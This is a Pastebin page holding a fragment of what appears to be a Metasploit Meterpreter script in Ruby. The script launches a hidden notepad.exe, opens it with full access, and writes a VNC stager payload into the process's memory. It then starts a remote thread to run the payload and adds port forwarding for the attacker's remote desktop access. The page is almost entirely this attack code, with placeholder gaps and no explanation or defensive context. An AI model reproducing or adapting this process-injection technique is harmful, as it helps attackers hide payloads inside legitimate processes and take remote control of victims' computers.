Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # Create a host process
- #
- pid = client.sys.process.execute("notepad.exe", nil, {'Hidden' => 'true'}).pid
- print_status("Host process notepad.exe has PID #{pid}")
- note = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
- mem = note.memory.allocate(1024*32)
- print_status("Allocated memory at address #{"0x%.8x" % mem}")
- print_status("Writing the VNC stager into memory...")
- note.memory.write(mem, raw)
- [ .. AFTER multi/handler ... ]
- print_status("Creating a new thread within note.exe to run the VNC stager...")
- note.thread.create(mem, 0)
- [ .. FINALLY .. ]
- print_status("Starting the port forwarding from #{vnc_lport} => TARGET:#{vnc_rport}")
- client.run_cmd("portfwd add -l #{vnc_lport} -p #{vnc_rport} -r #{vnc_lhost}")
Add Comment
Please, Sign In to add comment